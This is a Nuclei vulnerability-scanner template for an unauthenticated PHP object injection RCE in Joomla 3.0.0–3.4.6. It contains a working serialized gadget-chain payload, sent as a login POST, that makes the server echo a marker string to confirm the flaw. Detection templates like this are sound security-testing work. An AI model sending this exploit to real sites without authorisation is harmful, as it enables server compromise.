53 lines
2.3 KiB
YAML
53 lines
2.3 KiB
YAML
id: rusty-joomla
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info:
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name: Joomla! CMS <=3.4.6 - Remote Code Execution
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author: leovalcante,kiks7
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severity: critical
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description: |
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Joomla! CMS 3.0.0 through the 3.4.6 release contains an unauthenticated PHP object injection that leads to remote code execution.
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reference:
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- https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/
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- https://github.com/kiks7/rusty_joomla_rce
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cwe-id: CWE-77
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metadata:
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max-request: 2
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tags: joomla,rce,unauth,php,cms,objectinjection
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http:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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username=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3BO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A7%3A%22print_r%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A40%3A%22http%3A%2F%2Frusty.jooml%2F%3Bpkwxhxqxmdkkmscotwvh%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login&{{csrf}}=1
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host-redirects: true
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max-redirects: 2
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cookie-reuse: true
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extractors:
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- type: regex
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name: csrf
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part: body
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group: 1
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regex:
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- "<input type=\"hidden\" name=\"([0-9a-z]{32})\" value=\"1\""
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internal: true
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matchers:
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- type: word
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part: body
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words:
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- "http://rusty.jooml/;pkwxhxqxmdkkmscotwvh"
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- "Failed to decode session object"
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condition: and
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# digest: 4a0a004730450220123e01eaeab88cd9a6034e7dc169bf60e8558d8b694c42afafe9b23e265dff96022100c8ea820ef505b941556092b6c343c69886da97d331158e0c8659fab905f4374c:922c64590222798bb761d5b6d8e72950
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